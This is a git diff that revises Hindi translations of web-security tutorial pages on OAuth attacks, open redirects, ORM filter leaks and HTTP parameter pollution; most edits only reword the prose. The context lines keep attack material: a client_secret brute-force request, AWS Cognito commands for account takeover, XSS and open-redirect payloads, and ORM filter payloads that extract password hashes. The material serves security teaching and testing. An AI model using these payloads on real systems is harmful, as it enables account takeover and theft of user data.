- **grant_type**: एक पैरामीटर जो **अनुदान प्रकार और लौटाए जाने वाले टोकन के प्रकार को इंगित करता है**।
|
||||
- **code**: `authorization server` से प्राधिकरण कोड, जिसका उपयोग `client_id` और `client_secret` के साथ `access_token` प्राप्त करने के लिए किया जाता है।
|
||||
- **scope**: **अनुमति का स्तर** जो `client application` `resource owner` से मांग रहा है।
|
||||
- **redirect_uri**: **URL जिस पर उपयोगकर्ता अनुमति के बाद पुनर्निर्देशित होता है**। यह आमतौर पर पूर्व-रजिस्टर्ड पुनर्निर्देशित URL के साथ मेल खाना चाहिए।
|
||||
- **state**: एक पैरामीटर जो **उपयोगकर्ता के authorization server पर और उससे पुनर्निर्देशित होने के दौरान डेटा बनाए रखने के लिए** है। इसकी विशिष्टता **CSRF सुरक्षा तंत्र** के रूप में कार्य करने के लिए महत्वपूर्ण है।
|
||||
- **grant_type**: एक पैरामीटर जो **grant type और लौटाए जाने वाले टोकन के प्रकार को इंगित करता है**।
|
||||
- **code**: `authorization server` से प्राप्त authorization code, जिसका उपयोग `client_id` और `client_secret` के साथ `access_token` प्राप्त करने के लिए किया जाता है।
|
||||
- **access_token**: **टोकन जो `client application` `resource owner` की ओर से API अनुरोधों के लिए उपयोग करता है**।
|
||||
- **refresh_token**: एप्लिकेशन को **बिना उपयोगकर्ता को फिर से प्रॉम्प्ट किए एक नया `access_token` प्राप्त करने की अनुमति देता है**।
|
||||
|
||||
@ -30,7 +30,7 @@ OAuth 2.0 ढांचे के भीतर निम्नलिखित घ
|
||||
**वास्तविक OAuth प्रवाह** इस प्रकार है:
|
||||
|
||||
1. आप [https://example.com](https://example.com) पर जाते हैं और “Integrate with Social Media” बटन का चयन करते हैं।
|
||||
2. साइट फिर [https://socialmedia.com](https://socialmedia.com) पर आपके प्राधिकरण के लिए एक अनुरोध भेजती है ताकि https://example.com के एप्लिकेशन को आपके पोस्ट तक पहुंचने की अनुमति मिल सके। अनुरोध इस प्रकार संरचित है:
|
||||
2. साइट फिर [https://socialmedia.com](https://socialmedia.com) पर आपके पोस्ट तक पहुंचने के लिए https://example.com के एप्लिकेशन को अनुमति देने के लिए आपकी अनुमति मांगने का अनुरोध भेजती है। अनुरोध इस प्रकार संरचित है:
|
||||
```
|
||||
https://socialmedia.com/auth
|
||||
?response_type=code
|
||||
@ -62,7 +62,7 @@ Host: socialmedia.com
|
||||
|
||||
`redirect_uri` के अलावा, अन्य OAuth और OpenID पैरामीटर जैसे `client_uri`, `policy_uri`, `tos_uri`, और `initiate_login_uri` भी पुनर्निर्देशन हमलों के प्रति संवेदनशील हैं। ये पैरामीटर वैकल्पिक हैं और इनका समर्थन सर्वरों में भिन्न होता है।
|
||||
|
||||
जो लोग OpenID सर्वर को लक्षित कर रहे हैं, उनके लिए खोज समाप्ति बिंदु (`**.well-known/openid-configuration**`) अक्सर मूल्यवान कॉन्फ़िगरेशन विवरण जैसे `registration_endpoint`, `request_uri_parameter_supported`, और "`require_request_uri_registration`" सूचीबद्ध करता है। ये विवरण पंजीकरण समाप्ति बिंदु और सर्वर के अन्य कॉन्फ़िगरेशन विशिष्टताओं की पहचान करने में मदद कर सकते हैं।
|
||||
जो लोग OpenID सर्वर को लक्षित कर रहे हैं, उनके लिए खोज समाप्ति बिंदु (`**.well-known/openid-configuration**`) अक्सर मूल्यवान कॉन्फ़िगरेशन विवरण जैसे `registration_endpoint`, `request_uri_parameter_supported`, और "`require_request_uri_registration`" सूचीबद्ध करता है। ये विवरण पंजीकरण समाप्ति बिंदु और सर्वर की अन्य कॉन्फ़िगरेशन विशिष्टताओं की पहचान करने में मदद कर सकते हैं।
|
||||
|
||||
### XSS in redirect implementation <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -72,11 +72,11 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
||||
```
|
||||
### CSRF - Improper handling of state parameter <a href="#bda5" id="bda5"></a>
|
||||
|
||||
OAuth कार्यान्वयन में, **`state` parameter** का दुरुपयोग या अनुपस्थिति **Cross-Site Request Forgery (CSRF)** हमलों के जोखिम को काफी बढ़ा सकती है। यह कमजोराई तब उत्पन्न होती है जब `state` parameter या तो **उपयोग नहीं किया जाता, स्थिर मान के रूप में उपयोग किया जाता है, या सही तरीके से मान्य नहीं किया जाता**, जिससे हमलावर CSRF सुरक्षा को बायपास कर सकते हैं।
|
||||
OAuth कार्यान्वयन में, **`state` parameter** का दुरुपयोग या अनुपस्थिति **Cross-Site Request Forgery (CSRF)** हमलों के जोखिम को काफी बढ़ा सकती है। यह भेद्यता तब उत्पन्न होती है जब `state` parameter **उपयोग नहीं किया जाता, स्थिर मान के रूप में उपयोग किया जाता है, या सही तरीके से मान्य नहीं किया जाता**, जिससे हमलावर CSRF सुरक्षा को बायपास कर सकते हैं।
|
||||
|
||||
हमलावर इसको अधिकृत प्रक्रिया को इंटरसेप्ट करके पीड़ित के खाते के साथ अपने खाते को लिंक करने के लिए उपयोग कर सकते हैं, जिससे संभावित **खाते पर कब्जा** हो सकता है। यह विशेष रूप से उन अनुप्रयोगों में महत्वपूर्ण है जहाँ OAuth का उपयोग **प्रमाणीकरण उद्देश्यों** के लिए किया जाता है।
|
||||
हमलावर इसको अधिकृत प्रक्रिया को इंटरसेप्ट करके पीड़ित के खाते के साथ अपने खाते को लिंक करने के लिए उपयोग कर सकते हैं, जिससे संभावित **खाते का अधिग्रहण** हो सकता है। यह विशेष रूप से उन अनुप्रयोगों में महत्वपूर्ण है जहाँ OAuth का उपयोग **प्रमाणीकरण उद्देश्यों** के लिए किया जाता है।
|
||||
|
||||
इस कमजोराई के वास्तविक दुनिया के उदाहरण विभिन्न **CTF चुनौतियों** और **हैकिंग प्लेटफार्मों** में दस्तावेजीकृत किए गए हैं, जो इसके व्यावहारिक प्रभावों को उजागर करते हैं। यह समस्या तीसरे पक्ष की सेवाओं जैसे **Slack**, **Stripe**, और **PayPal** के साथ एकीकरण तक भी फैली हुई है, जहाँ हमलावर सूचनाओं या भुगतानों को अपने खातों में पुनर्निर्देशित कर सकते हैं।
|
||||
इस भेद्यता के वास्तविक दुनिया के उदाहरण विभिन्न **CTF चुनौतियों** और **हैकिंग प्लेटफार्मों** में दस्तावेजीकृत किए गए हैं, जो इसके व्यावहारिक प्रभावों को उजागर करते हैं। यह समस्या तीसरे पक्ष की सेवाओं जैसे **Slack**, **Stripe**, और **PayPal** के साथ एकीकरण तक भी फैली हुई है, जहाँ हमलावर सूचनाओं या भुगतानों को अपने खातों में पुनर्निर्देशित कर सकते हैं।
|
||||
|
||||
**`state` parameter** का उचित प्रबंधन और मान्यता CSRF के खिलाफ सुरक्षा और OAuth प्रवाह को सुरक्षित करने के लिए महत्वपूर्ण है।
|
||||
|
||||
@ -87,13 +87,13 @@ OAuth कार्यान्वयन में, **`state` parameter** का
|
||||
|
||||
### Disclosure of Secrets <a href="#e177" id="e177"></a>
|
||||
|
||||
गुप्त OAuth पैरामीटर की पहचान और सुरक्षा करना महत्वपूर्ण है। जबकि **`client_id`** को सुरक्षित रूप से प्रकट किया जा सकता है, **`client_secret`** को उजागर करना महत्वपूर्ण जोखिम पैदा करता है। यदि `client_secret` से समझौता किया जाता है, तो हमलावर उपयोगकर्ता `access_tokens` और निजी जानकारी को **चोरी करने** के लिए अनुप्रयोग की पहचान और विश्वास का लाभ उठा सकते हैं।
|
||||
गुप्त OAuth पैरामीटर की पहचान और सुरक्षा महत्वपूर्ण है। जबकि **`client_id`** को सुरक्षित रूप से प्रकट किया जा सकता है, **`client_secret`** को उजागर करना महत्वपूर्ण जोखिम पैदा करता है। यदि `client_secret` से समझौता किया जाता है, तो हमलावर उपयोगकर्ता के **`access_tokens`** और निजी जानकारी को **चोरी** करने के लिए अनुप्रयोग की पहचान और विश्वास का लाभ उठा सकते हैं।
|
||||
|
||||
एक सामान्य कमजोराई तब उत्पन्न होती है जब अनुप्रयोग गलती से ग्राहक-पक्ष पर `access_token` के लिए अधिकृत `code` के आदान-प्रदान को संभालते हैं, न कि सर्वर-पक्ष पर। यह गलती `client_secret` के उजागर होने का कारण बनती है, जिससे हमलावर अनुप्रयोग के बहाने `access_tokens` उत्पन्न कर सकते हैं। इसके अलावा, सामाजिक इंजीनियरिंग के माध्यम से, हमलावर OAuth अधिकृत में अतिरिक्त स्कोप जोड़कर विशेषाधिकार बढ़ा सकते हैं, जिससे अनुप्रयोग की विश्वसनीय स्थिति का और लाभ उठाया जा सकता है।
|
||||
एक सामान्य भेद्यता तब उत्पन्न होती है जब अनुप्रयोग गलती से ग्राहक-पक्ष पर `access_token` के लिए अधिकृत `code` के आदान-प्रदान को संभालते हैं, न कि सर्वर-पक्ष पर। यह गलती `client_secret` के उजागर होने का कारण बनती है, जिससे हमलावर अनुप्रयोग के बहाने `access_tokens` उत्पन्न कर सकते हैं। इसके अलावा, सामाजिक इंजीनियरिंग के माध्यम से, हमलावर OAuth अधिकृत में अतिरिक्त स्कोप जोड़कर विशेषाधिकार बढ़ा सकते हैं, जिससे अनुप्रयोग की विश्वसनीय स्थिति का और लाभ उठाया जा सकता है।
|
||||
|
||||
### Client Secret Bruteforce
|
||||
|
||||
आप सेवा प्रदाता के पहचान प्रदाता के साथ **client_secret** को ब्रूटफोर्स करने का प्रयास कर सकते हैं ताकि खातों को चुराने की कोशिश की जा सके।\
|
||||
आप सेवा प्रदाता के पहचान प्रदाता के साथ **client_secret** को **bruteforce** करने का प्रयास कर सकते हैं ताकि खातों को चुराने की कोशिश की जा सके।\
|
||||
BF के लिए अनुरोध इस प्रकार दिख सकता है:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
@ -114,7 +114,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
|
||||
### Everlasting Authorization Code
|
||||
|
||||
**अधिकार कोड को केवल कुछ समय के लिए जीवित रहना चाहिए ताकि हमलावर द्वारा चुराए जाने और उपयोग किए जाने की समय सीमा को सीमित किया जा सके**।
|
||||
**अधिकार कोड को केवल कुछ समय के लिए जीवित रहना चाहिए ताकि हमलावर द्वारा चुराए जाने और उपयोग किए जाने के समय की खिड़की को सीमित किया जा सके**।
|
||||
|
||||
### Authorization/Refresh Token not bound to client
|
||||
|
||||
@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
इस बग बाउंटी रिपोर्ट में: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) आप देख सकते हैं कि **टोकन** जो **AWS Cognito** उपयोगकर्ता को वापस देता है, उसमें **उपयोगकर्ता डेटा को ओवरराइट करने के लिए पर्याप्त अनुमतियाँ हो सकती हैं**। इसलिए, यदि आप **एक उपयोगकर्ता ईमेल को एक अलग उपयोगकर्ता ईमेल के लिए बदल सकते हैं**, तो आप **अन्य खातों पर नियंत्रण कर सकते हैं**।
|
||||
इस बग बाउंटी रिपोर्ट में: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) आप देख सकते हैं कि **टोकन** जो **AWS Cognito** उपयोगकर्ता को वापस देता है, उसमें **उपयोगकर्ता डेटा को ओवरराइट करने के लिए पर्याप्त अनुमतियाँ हो सकती हैं**। इसलिए, यदि आप **एक उपयोगकर्ता ईमेल को एक अलग उपयोगकर्ता ईमेल के लिए बदल सकते हैं**, तो आप अन्य खातों पर **कब्जा कर सकते हैं**।
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
@ -151,7 +151,7 @@ For more detailed info about how to abuse AWS cognito check:
|
||||
|
||||
जैसा कि [**इस लेख में उल्लेख किया गया है**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth प्रवाह जो **token** (और न कि कोड) प्राप्त करने की अपेक्षा करते हैं, वे कमजोर हो सकते हैं यदि वे यह नहीं जांचते कि टोकन ऐप का है।
|
||||
|
||||
यह इसलिए है क्योंकि एक **हमलावर** एक **ऐप्लिकेशन बना सकता है जो OAuth का समर्थन करता है और अपने ऐप में Facebook के साथ लॉगिन कर सकता है** (उदाहरण के लिए)। फिर, जब एक पीड़ित **हमलावर के ऐप में Facebook के साथ लॉगिन करता है**, तो हमलावर **उपयोगकर्ता के OAuth टोकन को प्राप्त कर सकता है जो उसके ऐप को दिया गया है, और इसका उपयोग पीड़ित के OAuth ऐप में पीड़ित के उपयोगकर्ता टोकन का उपयोग करके लॉगिन करने के लिए कर सकता है**।
|
||||
यह इसलिए है क्योंकि एक **हमलावर** एक **ऐप्लिकेशन बना सकता है जो OAuth का समर्थन करता है और अपने ऐप में Facebook के साथ लॉगिन कर सकता है** (उदाहरण के लिए)। फिर, जब एक पीड़ित **हमलावर के ऐप में Facebook के साथ लॉगिन करता है**, तो हमलावर **उपयोगकर्ता के OAuth टोकन को प्राप्त कर सकता है जो उसके ऐप को दिया गया है, और इसका उपयोग पीड़ित के OAuth ऐप में पीड़ित के उपयोगकर्ता टोकन के साथ लॉगिन करने के लिए कर सकता है**।
|
||||
|
||||
> [!CAUTION]
|
||||
> इसलिए, यदि हमलावर उपयोगकर्ता को अपने OAuth ऐप तक पहुंच प्राप्त करने में सफल हो जाता है, तो वह उन ऐप्स में पीड़ित के खाते पर नियंत्रण प्राप्त कर सकेगा जो टोकन की अपेक्षा कर रहे हैं और यह नहीं जांच रहे हैं कि टोकन उनके ऐप आईडी को दिया गया था या नहीं।
|
||||
@ -160,7 +160,7 @@ For more detailed info about how to abuse AWS cognito check:
|
||||
|
||||
[**इस लेख के अनुसार**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), यह संभव था कि एक पीड़ित एक पृष्ठ खोले जिसमें **returnUrl** हमलावर के होस्ट की ओर इशारा करता है। यह जानकारी **एक कुकी (RU)** में **स्टोर** की जाएगी और **बाद के चरण में** **प्रॉम्प्ट** **उपयोगकर्ता** से पूछेगा कि क्या वह उस हमलावर के होस्ट को एक्सेस देने के लिए तैयार है।
|
||||
|
||||
इस प्रॉम्प्ट को बायपास करने के लिए, यह संभव था कि एक टैब खोला जाए ताकि **Oauth प्रवाह** को आरंभ किया जा सके जो इस RU कुकी को **returnUrl** का उपयोग करके सेट करेगा, प्रॉम्प्ट दिखाए जाने से पहले टैब को बंद करें, और बिना उस मान के एक नया टैब खोलें। तब, **प्रॉम्प्ट हमलावर के होस्ट के बारे में सूचित नहीं करेगा**, लेकिन कुकी इसे सेट कर दी जाएगी, इसलिए **टोकन हमलावर के होस्ट को रीडायरेक्शन में भेजा जाएगा**।
|
||||
इस प्रॉम्प्ट को बायपास करने के लिए, यह संभव था कि एक टैब खोला जाए ताकि **Oauth प्रवाह** को आरंभ किया जा सके जो इस RU कुकी को **returnUrl** का उपयोग करके सेट करेगा, प्रॉम्प्ट दिखाए जाने से पहले टैब को बंद करें, और बिना उस मान के एक नया टैब खोलें। तब, **प्रॉम्प्ट हमलावर के होस्ट के बारे में सूचित नहीं करेगा**, लेकिन कुकी इसे सेट कर दी जाएगी, इसलिए **टोकन हमलावर के होस्ट** पर पुनर्निर्देशित किया जाएगा।
|
||||
|
||||
### Prompt Interaction Bypass <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -183,10 +183,10 @@ For more detailed info about how to abuse AWS cognito check:
|
||||
|
||||
यह [**ब्लॉगपोस्ट**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) बताता है कि कैसे एक **ओपन रीडायरेक्ट** का दुरुपयोग करके **रेफरर** के मान से OAuth का दुरुपयोग करके ATO किया जा सकता है। हमला था:
|
||||
|
||||
1. पीड़ित हमलावर के वेब पृष्ठ तक पहुंचता है
|
||||
1. पीड़ित हमलावर के वेब पृष्ठ पर पहुंचता है
|
||||
2. पीड़ित दुर्भावनापूर्ण लिंक खोलता है और एक ओपनर Google OAuth प्रवाह को `response_type=id_token,code&prompt=none` के रूप में अतिरिक्त पैरामीटर के साथ आरंभ करता है, **रेफरर के रूप में हमलावर की वेबसाइट** का उपयोग करते हुए।
|
||||
3. ओपनर में, जब प्रदाता पीड़ित को अधिकृत करता है, तो यह उन्हें `redirect_uri` पैरामीटर (पीड़ित वेब) के मान पर वापस भेजता है जिसमें 30X कोड होता है जो अभी भी हमलावर की वेबसाइट को रेफरर में रखता है।
|
||||
4. पीड़ित **वेबसाइट रेफरर के आधार पर ओपन रीडायरेक्ट को ट्रिगर करती है** जो पीड़ित उपयोगकर्ता को हमलावर की वेबसाइट पर रीडायरेक्ट करती है, क्योंकि **`respose_type`** **`id_token,code`** था, कोड हमलावर को **URL के फ्रैगमेंट** में वापस भेजा जाएगा जिससे वह पीड़ित साइट पर Google के माध्यम से उपयोगकर्ता के खाते पर नियंत्रण प्राप्त कर सके।
|
||||
3. ओपनर में, जब प्रदाता पीड़ित को अधिकृत करता है, तो यह उन्हें `redirect_uri` पैरामीटर (पीड़ित वेब) के मान पर 30X कोड के साथ वापस भेजता है जो अभी भी हमलावर की वेबसाइट को रेफरर में रखता है।
|
||||
4. पीड़ित **वेबसाइट रेफरर के आधार पर ओपन रीडायरेक्ट को ट्रिगर करती है** जो पीड़ित उपयोगकर्ता को हमलावर की वेबसाइट पर पुनर्निर्देशित करती है, क्योंकि **`respose_type`** **`id_token,code`** था, कोड हमलावर को **URL के फ्रैगमेंट** में वापस भेजा जाएगा जिससे वह पीड़ित साइट पर Google के माध्यम से उपयोगकर्ता के खाते पर नियंत्रण प्राप्त कर सके।
|
||||
|
||||
### SSRFs parameters <a href="#bda5" id="bda5"></a>
|
||||
|
||||
@ -201,13 +201,13 @@ OAuth में डायनामिक क्लाइंट रजिस्
|
||||
- रजिस्ट्रेशन प्रक्रिया अनजाने में कई तरीकों से सर्वरों को SSRF के प्रति उजागर कर सकती है:
|
||||
- **`logo_uri`**: क्लाइंट ऐप्लिकेशन के लोगो के लिए एक URL जो सर्वर द्वारा प्राप्त किया जा सकता है, SSRF को ट्रिगर कर सकता है या यदि URL को गलत तरीके से संभाला गया तो XSS का कारण बन सकता है।
|
||||
- **`jwks_uri`**: क्लाइंट के JWK दस्तावेज़ के लिए एक URL, जो यदि दुर्भावनापूर्ण तरीके से तैयार किया गया हो, तो सर्वर को हमलावर-नियंत्रित सर्वर पर आउटबाउंड अनुरोध करने का कारण बन सकता है।
|
||||
- **`sector_identifier_uri`**: `redirect_uris` के JSON एरे को संदर्भित करता है, जिसे सर्वर प्राप्त कर सकता है, जिससे SSRF का अवसर उत्पन्न होता है।
|
||||
- **`sector_identifier_uri`**: `redirect_uris` के JSON एरे को संदर्भित करता है, जिसे सर्वर प्राप्त कर सकता है, जिससे SSRF का अवसर बनता है।
|
||||
- **`request_uris`**: क्लाइंट के लिए अनुमत अनुरोध URIs की सूची, जिन्हें यदि सर्वर इन URIs को प्राधिकरण प्रक्रिया की शुरुआत में प्राप्त करता है तो शोषित किया जा सकता है।
|
||||
|
||||
**शोषण रणनीति:**
|
||||
|
||||
- SSRF को `logo_uri`, `jwks_uri`, या `sector_identifier_uri` जैसे पैरामीटर में दुर्भावनापूर्ण URLs के साथ नए क्लाइंट को रजिस्टर करके ट्रिगर किया जा सकता है।
|
||||
- जबकि `request_uris` के माध्यम से सीधे शोषण को व्हाइटलिस्ट नियंत्रणों द्वारा कम किया जा सकता है, एक पूर्व-रजिस्टर किए गए, हमलावर-नियंत्रित `request_uri` को प्रदान करना प्राधिकरण चरण के दौरान SSRF को सुविधाजनक बना सकता है।
|
||||
- जबकि `request_uris` के माध्यम से सीधे शोषण को व्हाइटलिस्ट नियंत्रणों द्वारा कम किया जा सकता है, एक पूर्व-रजिस्टर किया गया, हमलावर-नियंत्रित `request_uri` प्रदान करना प्राधिकरण चरण के दौरान SSRF को सुविधाजनक बना सकता है।
|
||||
|
||||
## OAuth providers Race Conditions
|
||||
|
||||
|
@ -57,7 +57,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||
/x:1/:///%01javascript:alert(document.cookie)/
|
||||
";alert(0);//
|
||||
```
|
||||
## Open Redirect SVG फ़ाइलें अपलोड करना
|
||||
## Open Redirect svg फ़ाइलें अपलोड करना
|
||||
```markup
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
|
@ -19,7 +19,7 @@ return Response([])
|
||||
return Response(serializer.data)
|
||||
</code></pre>
|
||||
|
||||
ध्यान दें कि सभी request.data (जो एक json होगा) को सीधे **डेटाबेस से ऑब्जेक्ट्स को फ़िल्टर करने** के लिए पास किया गया है। एक हमलावर अप्रत्याशित फ़िल्टर भेज सकता है ताकि उससे अपेक्षा से अधिक डेटा लीक हो सके।
|
||||
ध्यान दें कि सभी request.data (जो एक json होगा) को सीधे **डेटाबेस से ऑब्जेक्ट्स को फ़िल्टर करने** के लिए पास किया गया है। एक हमलावर अप्रत्याशित फ़िल्टर भेज सकता है ताकि उससे अपेक्षित से अधिक डेटा लीक हो सके।
|
||||
|
||||
उदाहरण:
|
||||
|
||||
@ -42,14 +42,14 @@ return Response(serializer.data)
|
||||
> [!CAUTION]
|
||||
> यह संभव है कि उन सभी उपयोगकर्ताओं का पासवर्ड खोजा जा सके जिन्होंने एक लेख बनाया है
|
||||
|
||||
- **Many-to-many relational filtering**: पिछले उदाहरण में हम उन उपयोगकर्ताओं के पासवर्ड नहीं खोज सके जिन्होंने एक लेख नहीं बनाया। हालाँकि, अन्य संबंधों का पालन करते हुए यह संभव है। उदाहरण: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
||||
- **Many-to-many relational filtering**: पिछले उदाहरण में हम उन उपयोगकर्ताओं के पासवर्ड नहीं खोज सके जिन्होंने एक लेख नहीं बनाया। हालाँकि, अन्य संबंधों का पालन करने पर यह संभव है। उदाहरण के लिए: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
||||
```json
|
||||
{
|
||||
"created_by__departments__employees__user_startswith": "admi"
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> इस मामले में हम उन उपयोगकर्ताओं के सभी उपयोगकर्ताओं को ढूंढ सकते हैं जिन्होंने लेख बनाए हैं और फिर उनके पासवर्ड लीक कर सकते हैं (पिछले json में हम केवल उपयोगकर्ता नाम लीक कर रहे हैं लेकिन फिर पासवर्ड लीक करना संभव है)।
|
||||
> इस मामले में हम उन उपयोगकर्ताओं को ढूंढ सकते हैं जो लेख बनाए हैं और फिर उनके पासवर्ड लीक कर सकते हैं (पिछले json में हम केवल उपयोगकर्ता नाम लीक कर रहे हैं लेकिन फिर पासवर्ड लीक करना संभव है)।
|
||||
|
||||
- **Django Group और Permission के many-to-many संबंधों का दुरुपयोग करना**: इसके अलावा, AbstractUser मॉडल का उपयोग Django में उपयोगकर्ताओं को उत्पन्न करने के लिए किया जाता है और डिफ़ॉल्ट रूप से इस मॉडल में **Permission और Group तालिकाओं के साथ कुछ many-to-many संबंध** होते हैं। जो मूल रूप से एक उपयोगकर्ता से **अन्य उपयोगकर्ताओं तक पहुँचने का एक डिफ़ॉल्ट तरीका है** यदि वे **एक ही समूह में हैं या समान अनुमति साझा करते हैं**।
|
||||
```bash
|
||||
@ -59,14 +59,14 @@ created_by__user__groups__user__password
|
||||
# By users with the same permission
|
||||
created_by__user__user_permissions__user__password
|
||||
```
|
||||
- **फिल्टर प्रतिबंधों को बायपास करें**: उसी ब्लॉगपोस्ट ने कुछ फ़िल्टरिंग का उपयोग बायपास करने का प्रस्ताव दिया जैसे `articles = Article.objects.filter(is_secret=False, **request.data)`। यह संभव है कि हम उन लेखों को डंप करें जिनका is_secret=True है क्योंकि हम एक संबंध से Article तालिका में वापस लूप कर सकते हैं और गैर-गोपनीय लेखों से गोपनीय लेखों को लीक कर सकते हैं क्योंकि परिणाम जुड़े हुए हैं और is_secret फ़ील्ड गैर-गोपनीय लेख में जांची जाती है जबकि डेटा गोपनीय लेख से लीक होता है।
|
||||
- **फिल्टर प्रतिबंधों को बायपास करें**: उसी ब्लॉगपोस्ट ने कुछ फ़िल्टरिंग का उपयोग बायपास करने का प्रस्ताव दिया जैसे कि `articles = Article.objects.filter(is_secret=False, **request.data)`। यह संभव है कि हम उन लेखों को डंप करें जिनका is_secret=True है क्योंकि हम एक संबंध से Article तालिका में वापस लूप कर सकते हैं और गैर-गोपनीय लेखों से गोपनीय लेखों को लीक कर सकते हैं क्योंकि परिणाम जुड़े हुए हैं और is_secret फ़ील्ड गैर-गोपनीय लेख में जांची जाती है जबकि डेटा गोपनीय लेख से लीक होता है।
|
||||
```bash
|
||||
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||||
```
|
||||
> [!CAUTION]
|
||||
> संबंधों का दुरुपयोग करके डेटा दिखाने के लिए बनाए गए फ़िल्टरों को भी बायपास करना संभव है।
|
||||
> संबंधों का दुरुपयोग करके डेटा दिखाने के लिए बनाए गए फ़िल्टर को भी बायपास करना संभव है।
|
||||
|
||||
- **Error/Time based via ReDoS**: पिछले उदाहरणों में यह अपेक्षित था कि यदि फ़िल्टरिंग काम करती है या नहीं तो विभिन्न प्रतिक्रियाएँ होंगी ताकि इसका उपयोग ओरेकल के रूप में किया जा सके। लेकिन यह संभव है कि डेटाबेस में कोई क्रिया की जाए और प्रतिक्रिया हमेशा समान हो। इस परिदृश्य में, डेटाबेस त्रुटि उत्पन्न करना संभव हो सकता है ताकि एक नया ओरेकल प्राप्त किया जा सके।
|
||||
- **Error/Time based via ReDoS**: पिछले उदाहरणों में यह अपेक्षित था कि यदि फ़िल्टरिंग काम करती है या नहीं तो विभिन्न प्रतिक्रियाएँ होंगी ताकि इसका उपयोग ओरेकल के रूप में किया जा सके। लेकिन यह संभव है कि डेटाबेस में कुछ क्रिया की जाए और प्रतिक्रिया हमेशा एक समान हो। इस परिदृश्य में, डेटाबेस त्रुटि उत्पन्न करना संभव हो सकता है ताकि एक नया ओरेकल प्राप्त किया जा सके।
|
||||
```json
|
||||
// Non matching password
|
||||
{
|
||||
@ -133,7 +133,7 @@ res.json([]);
|
||||
...
|
||||
]
|
||||
```
|
||||
यह निम्नलिखित सभी पोस्टों का चयन करता है जो किसी ऐसे व्यक्ति द्वारा बनाई गई हैं जिसके पास एक पासवर्ड है और यह पासवर्ड लौटाएगा:
|
||||
निम्नलिखित सभी पोस्टों का चयन करता है जो किसी ऐसे व्यक्ति द्वारा बनाई गई हैं जिसके पास एक पासवर्ड है और पासवर्ड लौटाएगा:
|
||||
```json
|
||||
{
|
||||
"filter": {
|
||||
@ -173,7 +173,7 @@ res.json([]);
|
||||
});
|
||||
</code></pre>
|
||||
|
||||
उपयोगकर्ताओं के पासवर्ड को सीधे इस तरह से फ़िल्टर करना संभव है:
|
||||
यह सीधे उपयोगकर्ताओं के पासवर्ड को इस तरह से फ़िल्टर करना संभव है:
|
||||
```javascript
|
||||
await prisma.article.findMany({
|
||||
where: {
|
||||
@ -267,7 +267,7 @@ res.json([])
|
||||
]
|
||||
}
|
||||
```
|
||||
जहाँ `{CONTAINS_LIST}` 1000 स्ट्रिंग्स की एक सूची है ताकि यह सुनिश्चित किया जा सके कि **सही लीक मिलने पर प्रतिक्रिया में देरी हो।**
|
||||
जहाँ `{CONTAINS_LIST}` 1000 स्ट्रिंग्स की एक सूची है ताकि यह सुनिश्चित किया जा सके कि **सही leak मिलने पर प्रतिक्रिया में देरी हो।**
|
||||
|
||||
## **Ransack (Ruby)**
|
||||
|
||||
|
@ -7,7 +7,7 @@
|
||||
|
||||
## HTTP Parameter Pollution (HPP) Overview
|
||||
|
||||
HTTP Parameter Pollution (HPP) एक तकनीक है जहाँ हमलावर HTTP पैरामीटर को इस तरह से बदलते हैं कि वे वेब एप्लिकेशन के व्यवहार को अनपेक्षित तरीकों से बदल देते हैं। यह हेरफेर HTTP पैरामीटर को जोड़ने, संशोधित करने या डुप्लिकेट करने के द्वारा किया जाता है। इन हेरफेरों का प्रभाव सीधे उपयोगकर्ता को दिखाई नहीं देता, लेकिन यह सर्वर साइड पर एप्लिकेशन की कार्यक्षमता को महत्वपूर्ण रूप से बदल सकता है, जिसका अवलोकनीय प्रभाव क्लाइंट साइड पर होता है।
|
||||
HTTP Parameter Pollution (HPP) एक तकनीक है जहाँ हमलावर HTTP पैरामीटर को इस तरह से बदलते हैं कि वे वेब एप्लिकेशन के व्यवहार को अनपेक्षित तरीकों से बदल देते हैं। यह हेरफेर HTTP पैरामीटर को जोड़ने, संशोधित करने या डुप्लिकेट करने के द्वारा किया जाता है। इन हेरफेरों का प्रभाव सीधे उपयोगकर्ता को दिखाई नहीं देता लेकिन यह सर्वर साइड पर एप्लिकेशन की कार्यक्षमता को महत्वपूर्ण रूप से बदल सकता है, जिसका अवलोकन क्लाइंट साइड पर किया जा सकता है।
|
||||
|
||||
### Example of HTTP Parameter Pollution (HPP)
|
||||
|
||||
@ -38,7 +38,7 @@ HTTP Parameter Pollution (HPP) एक तकनीक है जहाँ हम
|
||||
|
||||
**API Key Manipulation Case:**
|
||||
|
||||
- **Scenario:** एक एप्लिकेशन उपयोगकर्ताओं को उनके प्रोफ़ाइल सेटिंग्स पृष्ठ के माध्यम से अपनी API कुंजी अपडेट करने की अनुमति देता है।
|
||||
